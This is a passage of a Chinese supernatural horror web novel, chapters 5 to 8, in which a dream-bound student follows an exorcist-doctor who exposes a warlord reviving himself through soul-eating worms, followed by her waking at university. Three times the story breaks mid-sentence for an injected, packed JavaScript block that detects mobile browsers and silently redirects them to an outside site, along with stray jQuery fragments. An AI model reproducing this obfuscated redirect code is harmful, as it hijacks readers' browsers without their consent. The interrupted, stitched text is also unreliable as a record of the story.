“黄雅兰是双凤县人,十四岁的时候成了军阀吕一钧的第六房小妾。只可惜吕一钧不到三年就被打倒,她跟着吕一钧逃往南方。黄雅兰和吕一钧不知所踪。直到解放后才有人看到她在双凤县坐车来到登平。她一个孤身女子,又没有固定的工作,可却能维持奢侈的风格,仅仅是变卖家产是做不到的。所以,黄宝山会不会是她在跟着吕一钧逃亡期间生的儿子,而她一直倚仗着孩子向流亡外地的吕一钧索取钱财?”
“不可能!这不可能!!”
“看来你确实是知道些什么。”
“我……呼……不可能……当时军队入城,我当时确实是跟着夫人还有老爷一起逃了,夫人说她的家乡多山,好躲,我们就去了双凤,也在那里生活了一段时间。但是……但是我是亲眼看到吕大帅死了的!可是少爷是两年后才出生的,夫人不可能跟一个死人生孩子!!!”
5. 005
对面的男人双手死死捧着茶盏,眼球突出,双手颤抖着,带着瓷杯一下下磕碰着桌面,仿佛是回忆起了人生最恐怖的事情。
师寂明摸出一只小巧的青铜镂花圆香炉,打开盖子用镊子往里丢了几块淡黄色的固体。随着轻烟袅袅上升,一股柔缓的香气弥散。田先生的表情也稍微松弛了下来。
“吕一钧是怎么死的?”
“内讧。他逃到了双凤的时候,倒是带了一些兵,但到底是兵败逃出城的,几个心腹手下面和心不和。88年的时候,他的一个手下不知怎的突然暴乱了,吕一钧就这么被乱刀砍死。虽然那个暴动的人也很快被其他人杀死,但人死不能复生,吕大帅的摊子很快也就散了。”
“真的吗?如果那些人真的甘于过上平凡日子,为什么黄雅兰这些年来还能一直收到他们邮的钱?”
“你连这个都查到了……呼,好吧,其实我也是猜的。夫人虽然一直带着我,但其实一直都不信我,什么都不跟我说。我猜是有人不死心,还想推翻新政府搞他们那一套。可能就是那个温茂。正好夫人生了孩子,搞不好就是温茂的孩子,他就让夫人回了登平埋伏下来,等着什么时候再回来……”
“呵,那你先看看这个。”
师寂明翻开笔记本,从里面拿出两张折叠好的素描像,并排放在面前的桌子上。左边是之前见过一面的黄太太牵着的那个小男孩,右边则是个目光阴鸷的中年人,一眼看上去就不是个好相处的角色。
“这……”田先生目露惊骇,“这是吕……”
“是的,这是根据吕一钧流传出来的照片复原出的他青年时的样子。能看出是亲父子了吧?”
“怎么会……可是吕一钧已经死了两年了这孩子才……这怎么可能?!”
“田先生,你能把那个佛像带出来给我吗?”
“不能……夫人看得很紧,而且我只是园丁,家里的事,都是王忠管着的……哦对了,王忠就是夫人从双凤带回来的管家,夫人很信他。”
“那就只有一个办法了。我会亲自去黄家检查一下。你在那一天想办法把黄太太和家里的人都支出去,能做到吧?”
“啊?!可是我……”
“田先生,你能背着黄太太贪那么多钱,一定有自己的人脉和办法的对吧?否则的话,如果连这件事都做不到,我也只能在治病的时候把你和病原体一起解决掉了。”
“你威胁我?!你不过是个医生……”
“是的,我‘现在’只是个医生,但不代表着我过去和未来只能做个医生。”
“呼……哈……行吧,我想想办法,夫人、少爷,还有王管家都给你弄出去……行了吧?!后天,你只有半天时间,而且我要跟着你一起!”
“那我们说好了。”
曲通幽又一次看到了黄家那座洋房。只是这一次,她附身的人却朝着洋房的花园走过去。他一手握着一根乌黑油亮的文明杖,就像是老电影里的旧时代绅士一样穿过花园,推开没上锁的屋门走进了房子里。
屋里的装修古典又奢华,曲通幽随着师寂明的目光看过雕刻着精美圣母像的一人多高的胡桃木落地钟,看过在枝形吊灯照射下愈发闪亮的一面墙的珐琅和瓷器,最后目光定格在墙上的巨幅油画上。
画的内容是佛陀割肉饲鹰,耳熟能详的东方故事被用西方宗教风格的油画笔触画出来,有种微妙的不和谐感。师寂明的目光在上面停留了好一会儿。
“师医生,这屋里有什么问题吗?”
“就是没感觉到问题,这才是最大的问题。”
“……您是什么意思?”
“这座宅子害死了那么多的人,可却没有一点阴气。若不是真的有高人坐镇,就是这里有个更凶的东西,把那些回来复仇的鬼都吞掉了。你觉得会是哪一种可能?”
“你说什么……阴气?”
“佛像在哪里?”
“哦,啊,在二楼,您跟我来。”
两人一前一后上了楼,踩在楼梯上发出咯吱咯吱的木板挤压声,曲通幽听在耳朵里,总觉得这声音有点像是婴儿的哭叫。
可能是她想得太多了,视野角落里忽然有一道影子一闪而过。仿佛是一个五六岁大的小孩哒哒哒跑过,没等看清就消失在了一扇门后。
“啊!那是什么?!那是不是鬼?!”
“田先生,冷静一点,那间屋子里是什么?”
“那……那就是……是放着佛像的房间……”
“看来果然是佛像不对劲啊。进去看看吧。”
“我……我不进去了,您艺高人胆大,我就……”
“怕了吗?你助纣为虐害死那些无辜的女人的时候怎么不怕呢?”
“我没有!那都是夫人……”
“来,别怕,你们是一伙儿的,它怎么会害你呢?来吧。”
田先生瑟缩着,恐惧地想要往后退,可师寂明却牢牢抓着他的手,用他的手推开了门。
屋里却全然不是曲通幽想象中的恐怖场景,相反。这里阳光明媚,让人安定的檀香味袅袅浮在空气中,一座佛龛半掩在光中,木雕佛像笼在绰约的阴影里,左手拈花,低眉含笑。
“什么都没有呢。”
“你说的那个……阴气,看不到吗?我们亲眼看着那东西跑进来的啊!”
“没有,很干净,包括这座佛像也是。”
男人拿出当铺里提供的佛像照片,和佛龛里面的雕像对照,看完前面,他又伸手要去把佛像拿起来,像是想要看看底部有没有当铺伙计说的“深色木纹”。
可就在他碰到佛像前,佛龛下面突然伸出了一只青色的小手,紧紧抓住了男人的食指,木桌下面探出半张青黑的脸,眼眶里空荡荡的,漆黑的两个洞透过香雾死死盯着他们。
“啊!!”
这一声是旁边的田先生发出的声音,师寂明却连手指都没颤动一下,反而是握住他手指的那只瘦小的手突然冒起了白烟,只听一声像是老鼠被踩住了一样的尖叫,桌下的半张脸和那只手一起飞快缩了回去。
“那是什么?!那是鬼对吧?!!”
“嘘,小声点。看看桌子下面有什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313049|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“你放我出去!我求你了呜呜呜……我把钱都给你,我马上就离开黄雅兰,你救救我!”
“什么都没有呢,看来是回去了?”
他单手提着佛像倒转过来,底部赫然是一块深色的木纹。只是和当铺伙计口中的不太一样,这块斑纹却是流动着的,就像是往清水上滴了一滴血,颜色正在快速稀释变淡。
男人手腕一抖,被他握在手中的文明杖转了半圈,杖头咚一声点在正在消退的斑块上。曲通幽这才看清手杖上雕刻着密密麻麻的古怪符文,也不知道他按动了哪里,一小块符文亮起了红光,那正在消退的木纹便像是被固色剂定格了一样,再也没法继续淡下去。
手杖上的符号显然是有规律的。又是另外几个符号闪过,木纹扭动着从佛像上被剥离了下来,按照颜色深浅被分成了几块,这下能看得清楚了,那分明是几张痛苦扭曲的人脸。
“师……师医生,你有没有感觉到……突然有些冷……”
“嗯,是阴气出来了。你看,这是张琦君、姚红霞、李小梅……还有几张我认不出来,应该是它之前杀死的人。”
“这究竟是什么东西?!啊?这里有个洞……我以前都没看到过!”
“刀给我。”
他用一把匕首从佛像下方突然出现的洞口剜进去,原本应该是坚硬的木头就像是瞬间被脱干了水分一样,一层层被撬下来,白色的块状和粉末落在桌子上,猛一看有点像是人类脱落下来的惨白的皮屑。
佛像就这么一块块被剥下来,里面居然是中空的,露出了木壳下面的东西。
“这是……小孩?怎么……呕——”
“嗯,看骨龄不会超过五岁,而且死的时候全身的很多骨头都被敲断了,所以才能这样蜷缩着被塞进佛像里。”
“这些虫子是什么?!他应该死了很久了吧?怎么还会有……蛆?”
刀尖从白色的头骨上挑起一条短粗的正在蠕动的肉虫,在对面男人几欲作呕的面色中,师寂明反而是凑近了仔细观察,然后下了定论:“不是蛆,是化阴虫。”
“那是什么东西?”
“一种被尸体养大的虫子。但它不吃腐肉,只吃阴气,或者更明确一点,吃的是人死后的魂魄,而没了魂魄的人,身体就会像是朽木一样松散,容易被其他东西寄生。但这东西也是有用处的。它和蚕一样长到一定程度就会吐丝结茧,等到化茧后收集虫卵,以特殊方法炮制后可以养魂固魂。”
“夫人的钱就是靠卖这些东西……”
“恐怕不止是卖呢。这东西四年就吞了三个住家保姆的魂魄,至少也养出了数百虫卵,如今玄门凋敝,张家、祁家的人都不在了,又有谁会买她这东西?我看用了这虫卵的是另有其人。”
“那会是谁?”
“呵呵,你心里不是已经猜出来了吗?”
“我……”
“行了,我要走了,你把这个佛像换上。黄雅兰本人不懂这些,几日内应该看不出来。只要你能在下一批人来收虫卵之前稳住她,你的命就能保住。”
6. 006
“李太太请坐,来,喝杯糖水。”
“谢谢师医生。你给的药很管用,我吃了这么多天,现在病情已经稳定住了。”
还是那间医生办公室,对面还是来看病的那个中年女人。相比第一次看到的惊惶恐惧,此刻她看起来已经安详了许多。
“应该不是逐渐好转的,而是在某一天突然好起来的吧?”
“师医生你真是神医啊!就是这样,大概三四天前吧,突然就减轻了很多,老皮脱掉以后就没有再分开了,眼睛也正常了,我觉得要不了多久就能好了。”
“那太好了。我再给您开几服药,吃完应该就可以了。对了,这还有一套心理测试,我希望你能再做一次。”
“这……好吧,我都听医生你的。”
“另外,我想请问一下,李太太您的祖籍是不是荔南省双凤县?”
“咦?你怎么知道?不过那都是我太爷爷小时候的事了。我爷爷那一辈就迁出来了。你问这个是有什么事吗?”
“没事,就是不久前认识了一个新病人,她也是祖籍双凤的,故此随口问问。”
“这样啊,可惜我从没回去过,也不知道那边怎么样了。”
“这是药,您收好,请慢走。”
曲通幽跟随着师寂明又来到了那个有着黑漆木门的小院子。只是这次推开门之后,屋里已经听不到半点声息。黑幽幽的屋门像是一张巨兽的口,张着等待吞噬踏入这里的一切生灵。
但是这里其实还有一个活人,哪怕是苟延残喘也是活着的。
男人走入了巨兽口中,等眼睛适应了黑暗,就看到一个已经几乎看不出原样的女人来。
姚红霞身上那些如同横生枝节一样的肢体都已经不见了,现在躺在床上的是一具很完好的人体,皮肤光洁,五官四肢都清晰健康,除了是铁灰色的好像石像一样冷冰冰的以外,就只有皮肤外面裹着的一层灰褐色的皱皮还有点碍眼了。
但——这铁灰色的人形是个男人,看着那张不久前才在师寂明拿出的素描像上看到的吕一钧的脸,只有意识在这里的曲通幽忍不住一阵阵胆寒。
“姚小姐,你还好吗?”师寂明礼貌地问了一句,声音在空荡荡的屋子里回响着,像是惊醒了什么看不到的东西。
床上铁灰色人像周围那一圈褐色皱皮像是被风吹动了一下,发出了窸窸窣窣的声音。
师寂明却认真聆听,而且像是听懂了什么一样,语带悲悯:“很遗憾,上次我就说过,如果你先怕了它的话,外人是没办法帮助你的。你还有什么愿望吗?我可以尽力帮你完成。”
呼——吸——
空气像是蒙尘的古琴,风吹过,琴弦突然震荡起些微涟漪。曲通幽睁大了眼睛,突然也听懂了她是在说什么。
“它在吃我的肉……”
“它咬断了我的肠子……”
“脑子上面有虫子在爬,鸟啄掉了虫子,也啄碎了脑子……”
“好疼啊好疼啊好疼啊……”
那皱缩的干皮突然抖动起来,窸窸窣窣发出如同揉搓塑料袋一样的声音。也把那本来就断断续续的絮语揉得支离破碎,空气中突然传来一声宛如灯花爆裂一样的轻声炸响,最后那点褐色皱皮突然像是干木屑一样炸开来。
与此同时,那铁灰色的人像突然睁开了眼睛,也张大了嘴。
一团灰白色的东西在喉腔里抖动,很快,随着那张嘴越来越大,那东西也冒出了嘴巴。那是一簇簇的灰白绒毛,被黏液粘得乱七八糟,在接触到空气之后快速变得干燥,能看出羽毛状的触角,以及没有瞳孔的复眼。
那东西还在往外拱,因为体型太大,很快把嘴角撑裂,眼眶里也冒出了相同的灰白绒毛。还有鳞片和翅膀。人像的五官被快速的撕裂连成一个大空洞,很快一只半人大小的怪模怪样的飞蛾就趴在了床上。
它灵活地抖动翅膀,晾干身体,然后抬起头来——飞蛾长着一张和姚红霞一样的人脸,表情呆滞空洞。它挥舞着六条人类的手臂,慢慢朝外爬去。
它仿佛是没有实体,能随意穿墙而过,路人也看不见它。只有师寂明不远不近跟在后面,看着它一路爬进了黄家的宅子,爬上了二楼。
这里本来应该供奉着藏着化阴虫的佛像,但现在佛像已经被调换了。人脸飞蛾在那房间里盘旋了一圈,然后找了个墙角安静缩了进去,一双眼睛直勾勾盯着门口的方向。
师寂明没有走太远。他站在不远处的一棵树下,抬头正好能看到二楼窗户里那个人面飞蛾趴着的不起眼的角落。男人低下头,从衣袋里抽出一张折好的写满了字的纸,曲通幽看了一眼,发现自己看不清上面的字。只能从字迹分布的形状判断出这应该是之前师寂明给他的“病人”们做的心理测试题。
说起来这东西也在这个梦境里出现过很多次了,但每次都是在曲通幽想要凑过去看题目的时候切换场景。加上随着剧情发展她也意识到这个所谓的心理医生只是个神棍,也就没有再去追究那套多半是个幌子的心理测试题。
但是现在,随着这张她看不清字迹的纸张展开,她的耳边突然多了些声音。
不,不应该是她耳边,应该是她附身的师寂明的耳边。她听到仿佛是隔着门传来的打扫卫生的声音,座钟的滴答声,还有仆人们小声的交流。明明他们的位置还是街上的树下,可听着声音却仿佛他们已经身处洋房内部了一样。
曲通幽忽然意识到,那份心理测试题应该不是普通的题目,或者至少不仅是普通的题目……
“嘻嘻,游乐场真好玩,雅兰,我还要去!”
“你喜欢就好,下次妈妈还带你去玩。”
“你才不是我妈妈!死女人,搞清楚你的位置,要不是我,你哪能过上这种日子?!”
女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313050|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人和小孩的声音压过了门外各种低低的絮响,逐渐往这边靠过来。
两人说话的语气都很奇怪。女人的身份应该是妈妈,但语气里却带着一丝恭敬和讨好。男童的声音带着这个年龄应有的稚气,但语气却高高在上飞扬跋扈,有种和年龄不符的傲慢感。
吱呀。房门开了。
声音近在耳边,师寂明也动了下位置,抬头再次看向二楼窗户,屋顶本来趴着的人脸飞蛾不知什么时候已经不见了。
“啊啊啊啊这是什么?!”
“该死的,这东西不是应该……佛像呢?!快请佛像!”
啪!咚!!
“这……碎了?怎么会这样?”
“这是假的!佛像被人换了!!蠢女人,这点小事都做不好,我都是被你害死……啊啊啊!你别过来,不是我杀的你!是她啊!”
嘶嘶——
沙沙沙——
“啊啊啊你别过来!!我都是听他的命令!”
“你别拉我!混蛋,我要是在原来的身体里……啊啊啊啊啊——”
咯吱咯吱——
“吕大帅,你坚持一会儿,我这就……啊啊啊啊别过来!是双凤……好疼啊啊啊——”
“太太,小少爷!你们开门啊!发生什么事了?”
房间里的声音非常混乱且怪异,混杂在尖叫、碰撞和惨烈呼喊中的是有点像昆虫振翅和撕咬树叶的声音。师寂明一直抬头看着窗户的位置,有鲜血和碎肉喷溅到了玻璃窗上,让本就狭窄的视野更加模糊。时不时能看到疯狂挥舞的人手,但很快就没了声息。
房间外的敲门声也停止了,就好像那栋洋房里已经没有活人了一样。
师寂明再次拿出了那张心理测试的纸,他划着了火柴,慢慢把那张纸在火苗上烧成了灰。
这张纸也不知道是什么材质制作的。燃烧的时候火焰得蔓延非常缓慢,一张不到A4大小的纸,烧了足足五分钟才彻底烧完。
随着最后一寸灰被风吹散,一片灰影从二楼的窗户里穿了出来。人脸飞蛾就像它进去的时候那样,又挥舞着六条人类胳膊爬了回来。它看起来像是想要往开阔的地方飞,但是却仿佛有一根绳子拽着它,硬是把它拉回到了师寂明身边。
“冤有头,债有主。你要是继续害无辜的人,我可不能保证你还能投胎。”男人声音淡淡的,语气里却带着警告。
躁动的人脸飞蛾安静下来。师寂明便把那根不知为什么还没有烧完的火柴凑过去。火焰沾到那灰色的绒毛,很快就剧烈燃烧起来,比刚才那张纸燃烧的速度快得多。几次呼吸的功夫,半人大小的飞蛾已经烧得只剩下一堆灰烬了。
一只正常大小的飞蛾从灰堆里挣扎出来,扑棱着翅膀飞起来。它越飞越高,目标明确地朝着一个方向飞去。
男人的目光一直停留在飞蛾消失的方向,许久都没有移开。
7. 007
咣当咣当——
“花生瓜子矿泉水——麻烦脚收一收啊——”
“前方即将到达……”
“嘎——嘎——”
“咯咯咯——”
曲通幽听到了火车开动的声音。似乎是那种老式的绿皮火车,摇摇晃晃时速只有几十公里,车厢里弥漫着各种食物和人体闷在一起的难闻味道。甚至还有人把活鸡鸭带到车上。
周围声音嘈杂,但没有人跟她附身的人交谈。他就这么安静地坐了一路火车,等到了某个省城又下来换公共汽车,最后换成了当地人驾驶的牛车,才吱扭扭地抵达了目的地。
“后生你这是打哪来啊?”
“登平县。”
“唷,大县城啊。你们宁都省都富,哪跟我们双凤这小地方一样,一直都穷得嘬牙花子。”
“不能够吧,双凤县也是个县城啊。”
“嗐,我们这列个县城也就是因为面积大,其实都是穷山沟沟,解放前还到处都是土匪,那些年能往外跑的都跑了,就是现在全县也才十几万人。穷得嘞……”
“解放前这里有很多土匪?”
“可不是嘞,都是打了败仗的那些大军阀,裹着金银细软就往山沟里一躲,招兵买马拦路抢劫无恶不作,把周围霍霍得都快没村子了。要不是咱们的部队来剿匪,现在咱们都还受苦呢!还是解放后好啊,咱们人民部队……”
“老先生,我听你谈吐,解放前应该是读过书的?”
“还是你这后生有眼光。我小时候家里可是双凤县的大户,家里还指着我考秀才哩!就是后来……唉,不提也罢。”
“您是土生土长的双凤县人啊?能不能给我讲讲咱们这的事?”
“你想听啥子哦?”
“就是民间传说那一类的。我在火车站听人讲的,说是双凤县以前有两只凤凰落在山上,才有了这名字。”
“这还有人记得啊……”
“是的,现在经济发展了,大城市的人都开始旅游了。双凤县以后说不定也会变成旅游景点呢。”
“我们这穷山沟沟……后生,我跟你说,那凤凰什么的都是后来人瞎编的。你看那山,有几分像凤凰?”
师寂明抬起头往远处看,曲通幽也跟着看到了一片青灰色的山影。确实不太像是凤凰。但能看到四片翅膀往两个方向舒展着,就像是……
“不像凤凰,倒有些像两只头对在一起的飞蛾。”男人答道。
赶牛车的老汉一拍手:“可不是么!后生你眼利,我们本地人都知道,双凤山最早就是两只大飞蛾子!”
“不可能吧?哪来的这种事?”
“信不信由你了。反正我们本地人都知道的。一千年前这边还是一片平地的,后来有一年闹了灾,死了好多人。不知哪一天突然就有两只大飞蛾子飞了过来。它们吃光了县里所有的死人。长成了山那么大,最后就凑在一起,变成了双凤山。哦那时候还不叫双凤山,是后来的县令觉得飞蛾山不吉利,才改名硬叫凤凰的。”
“我来之前查了咱们的县志,没看到突然多了座山的记载啊。”
“那种东西怎么做得了数嘛。咱们县里乱的时候多,县志还不是老爷们想怎么编怎么编。喏,后生,你要去的地方到了,你真要来这里?这村里的人都搬走咯,你找谁啊?”
“到这里就行,麻烦你了。”
牛车吱扭扭又远去了。师寂明转过身,眼前是一片颇为破败的村落遗址。
这里应该是至少十年没人住了。在阴沉沉的天空下,就像是一具腐烂多年的白骨,弥漫着一股死气。
师寂明走过村口处一座倒塌的牌坊,依稀可见“朝凤村”三个字。
他的视线在半人高的荒草、散落的砖头和木梁破碗之间逡巡,脚步忽然一转,朝着村里保存最完好的一座建筑走去。
这里之前应该是哪个地主的住所,青砖大瓦房有三层高,比起其他屋顶都塌了一半的房子,这里都没怎么漏雨。看起来甚至能住人。
沙拉。
师寂明脚下踩到了什么东西,他低头看了看,发现是一个被踩扁的铁皮罐头,上面一点锈迹都没有,看上去就像刚扔的一样。
等等,刚扔的空罐头?
视线晃动,男人继续往院子里走,也看到了更多的诸如食品包装袋、新鲜的厨余垃圾之类的东西,每一件都在表明这个看似废弃的房子里,直到最近都还有人居住。
同一时刻,一股奇怪的味道也窜进了鼻腔。
那是一种仿佛刻入基因的冲鼻恶臭,可夹杂在其中的还有一丝淡淡的木香气。周围什么声音都没有,空气中却像是潜伏着一头沉睡的巨兽,让曲通幽绷紧了自己不存在于这里的神经。
师寂明脚步平稳地往里走,穿过院子,越过还残留着一些老家具的堂屋前院,最后来到了更狭窄的二进院里,也终于是看到了古怪气味的来源。
院里墙根下倒伏着两具尸体。穿着半新不旧的棉衣,看身材都是健壮的中年男性。
可能是因为已经停放了几天,尸体微微有些变形了。曲通幽注意到,两个人的腰上都挂着她只有在老电影里才见过的驳壳枪。
师寂明走过去,面不改色地把尸体翻过来,两张扭曲的脸顿时就出现在了眼前。
两具尸体额头上都有一个形状标准的圆洞,让曲通幽不由猜测是不是被用枪打死的。
也不对,这两人的枪都整齐绑在腰上,一看就是没用过的样子,也就是说,在他们死的时候发生了什么事,让他们连拔枪都做不到……
正在思考的时候,她突然看到尸体额头的圆洞里好像有什么白色的东西在蠕动。
像是脑花,但死了这么久的人,脑花应该不会再动了。
师寂明点燃了一块淡黄色固体,顿时那白色的东西像是被吸引了一样,用更快的速度往外拱。
两条圆滚滚的白色肉虫啪嗒两声掉到了地上,还在燃香中蠕动着。
像是之前在洋房的佛像里看到的化阴虫。但这两条虫子显然要更大。
“已经失控了吗?”
师寂明又点燃了一块红色的香,放在尸体额头上的“枪伤”处,刹那间,更多的肉虫如同潮水一样涌了出来。大部分都像是之前在佛像上看到的那样细小,仿佛是没有长成一样。
尸体渐渐瘪了下去,到最后,两只明显没有发育完全的半飞蛾从已经看不出五官的脸上挤了出来,啪嗒两声落地,尸体再没了动静。
取而代之的,是那些虫子和飞蛾排成了一条细细的长队,鱼贯朝某个方向爬去。
它们看起来应该是没有自我意识,只是遵循着本能行动,站着看过去,地上是一条灰白色的细细长龙,从荒废的院子一直延伸到远方山影中。
走进树林,穿过溪涧。那些娇嫩的肉虫在半路上就磨破了表皮,内脏涂在地上很快被太阳晒干。只有那些蛾子还坚持着继续走,宛如朝圣。
到最后,它们爬到了山顶,最后一只蛾子抽搐了几下,死在了山顶的平台下面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313051|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>师寂明爬上了最后的那个平台,这里是双凤山的最高处,周围没有一点人类活动的痕迹。几只秃鹫被他的动作惊到,扑喇喇飞走了,露出了它们刚才正在啄食到一半的尸体。
或者说,看起来像是尸体。
平台上用血画满了复杂的阵法,一个约莫一米七的男人平躺在阵法中央。他的胸腹大敞着,身上布满了被秃鹫抓挠啄食的伤口。按道理应该早就死得不能再死了。但是当师寂明攀上平台的时候,他的眼睛却骨碌碌转了一圈,然后很缓慢地转过头,死死盯着师寂明。
“久闻大名,吕大帅。”
“你怎么……我知道了,是你!是你破坏了我的计划!你到底是谁?!黄家的?祁家的?!我什么时候得罪的你?!”
“你误会了,我们之前并无交集。”
“那你为什么要害我?!”
“我也并没有害你的意思。说实话,你想利用化阴虫复活,甚至不惜寄生在一个五岁幼童身体里,认一个你之前看不起的情妇当母亲的行为,我也是到这一刻才完全确定。”
“那女人……哈哈!我知道了,你是那臭婊子找来的人!我就说他们黄家枝繁叶茂,哪怕遭了难也不该只剩下一个屁事不懂的女人,你是黄家哪一脉的?还是张家的人?!我这些年可没亏待黄雅兰,你自己去问问那死女人花了我多少大洋?就算你要替她报仇,也不至于害我性命!”
“黄太太在你死后不久就死了。”
“哈哈哈!死得好,死得好啊!让她拿我做垫背,这臭婊子就该被千刀万剐!花着我的钱还……”
“不过,她的死亡一定是没有你痛苦的。至少,她只是个人,死了也就死了。而你用自己的身体做巢,养出了那么多化阴虫。它们吞了几十条魂魄了吧?虽然没能让你复活过来,但也一直滋养着你的尸体。瞧,你现在都这副样子了也没有死,是不是你期待的不老不死?”
“你……你懂这些?你快救我!你要多少钱我都给你!我还有钱,我还知道黄家的秘密,你救了我,这些我都能告诉你!”
“我说过,你误会了。我之前和你没什么交情,以后更不会有。我只是接手了两位病人,一个人因为我学艺不精已经去世了,所以来帮她寻找一下病因而已。”
“你这个……啊啊啊啊啊!好疼!它们又在动……你帮帮我!你别走……嗷啊啊啊啊!!!”
地上的人突然爆发出一阵凄厉至极的惨叫。他那敞开的肋骨便如同一张张开的嘴,突然咳嗽了两下,突然十几只蛾子撕开血肉飞了出来,鲜血喷溅了一圈。
“放心吧,吕大帅,我不走,我还要在这里等着你咽下最后一口气,然后把病原体毁了的。”
说着,男人突然往空中丢了一张符纸,一团火焰包裹住那些欲飞的蛾子,将它们彻底烧成了灰。
“你这个%@……”
“我在首都还有房子!还有钱!你救了我,都给你!”
“杀了我……”
他先是咒骂,继而求饶,到最后已经只剩痛苦的呻.吟。他甚至不求活着了,只希望一个速死。但男人却始终静静看着他,只在飞蛾想要散开的时候放一把火。
也不知道过了多久,吕大帅终于咽下了最后一口气。师寂明朝着他的尸体也丢了一把火,把剩下的虫子一起烧了个干净。
他低头看向群山。站在这里往下望,两只飞蛾头对头的山势越发清晰明了。一只鸟飞过两只飞蛾之间的连接处,突然抖了一下,朝山涧笔直坠落下去。
8. 008
“幽幽,幽幽!快起来了,今天有早八课!”
熟悉的声音传入耳中,曲通幽猛地睁开了眼睛。
入眼是自己看了三年的大学宿舍床帐顶,枕边不知什么时候调成了振动模式的手机闹钟正疯狂震着,舍友站在床帐下面有点急地喊她的名字。
曲通幽第一个反应就是去摸自己的身体——还好,她现在能自由活动,也是有自己的身体的。只是出了一身的冷汗有点不舒服。
她的意识这才一点点回归现实,意识到刚才那漫长的十几天确实只是个梦。
一个荒唐诡异,还特别清晰的梦。
她在床上反应的时间有点长,另外一个舍友忍不住高声喊道:“小曲,你别睡了!一会儿小张的课,你不要命了?!”
曲通幽瞬间清醒。
什么师寂明,双凤山全部抛到脑后,她一看手机,早上七点半。再回忆了一下今天早八课的教室,顿时眼前一黑。
小张,本名张桂芝,其实是一位芳龄五十六岁的资深老教授。因为教学风格严厉而被众多迟到扣分挂科的学子们含恨叫成“小张”泄愤。
据学哥学姐们分享的经验,小张的课迟到一次扣十分平时分,基本告别本年度奖学金,迟到两次就可以准备来年重修了。
曲通幽唰一声拉开床帘,在舍友幸灾乐祸的目光中翻身下床,一边刷牙一边穿衣服,顺便在心里疯狂祈祷小张在上班路上被学校的校霸胖橘缠住要罐罐,只要能迟到五分钟她的平时分就保住了!
可能是因为心诚则灵,她居然真的赶在小张前面溜进了教室。等她坐在倒数第二排悄悄低头啃面包的时候,才后知后觉意识到一件事。
“怎么就我们三个?君茹呢?”她悄声问身边的舍友。
“你忘啦?君茹说她今天有个家教兼职,让乐瑶帮她递了病假条的。”旁边的舍友秦琴同样低声回答道。
曲通幽确实是忘了,因为理论上虽然方君茹昨天晚上才说过这事,但对她来说已经在梦里度过了快一个月,一时想不起来也是正常的。
“小张能信这种没有医院盖章的病假条?”曲通幽表示难以置信。
“要是别人肯定不信,但那可是君茹哎……咳,反正我去交假条的时候,小张看我那一眼挺意味深长的,不过也没说什么,就把假条收好了。”隔着一个座位的舍友李乐瑶也凑过来说道。
曲通幽眨了眨眼睛,也从李乐瑶的挤眉弄眼中猜到了什么。
她们是四人宿舍,和网上各种被挂的奇葩舍敌不一样,宿舍里的四个姑娘从大一就住在一起,虽然来自不同的家庭性格也大相径庭,可关系却一直很不错。
她们刚说的方君茹是宿舍里唯一一个贫困生。她来自中部地区一个重男轻女的农村家庭,虽然从小被PUA长大,可却难得没变成传说中的扶弟魔。大一宿舍卧谈会的时候,方君茹花了半夜给三个人详细描述了她家里人把她的大学录取通知书藏起来想要拿她换彩礼,却被她连夜跑到县政府拉横幅告状的细节,在赢得了三个人拍手叫好的同时,也表达出了她不同于其他三人的艰难处境。
她十八岁就跟家里人翻脸了,整个大学生活别说家庭给予支持,就连学费生活费都全要她自己想办法。所以,方君茹一直是整个宿舍最拼命的那一个。她努力学习成绩名列前茅争取奖学金,还尽可能多地用课余时间做兼职打工赚钱。磕磕绊绊的也上到了大三。
像是今天的早八课,本来方君茹是绝对不会迟到的,可上个星期她接了个家教的单子。因为带的孩子太熊家长给的价钱格外丰厚,方君茹犹豫再三,为了金钱还是偷偷摸摸翘了课。
曲通幽沉默半晌,憋出一句:“没想到小张还怪体贴的。”
以小张带学生的经验,肯定一眼就看出来方君茹是装病,但她居然也没拆穿,显然是也体谅方君茹的不容易的。
李乐瑶喝了一口保温杯里的红枣枸杞玫瑰茶,慢悠悠说道:“那也得是君茹才行。人家翘课也能靠自己努力拿一等奖学金,要是咱们也有样学样,信不信小张当场让你明年重修?”
始终挣扎在被小张挂科边缘的秦琴顿时萎靡,不过嘴还是硬的:“呵,虽然我没法不听课就拿奖学金,但君茹要拿奖学金还不是得靠我的笔记!”
三个女生凑在教室后排窃窃私语,也亏得她们是民俗学专业,大部分学习内容不存在开小差三分钟抬头已是三千年的情况。所以秦琴的笔记暂时还能跟得上。
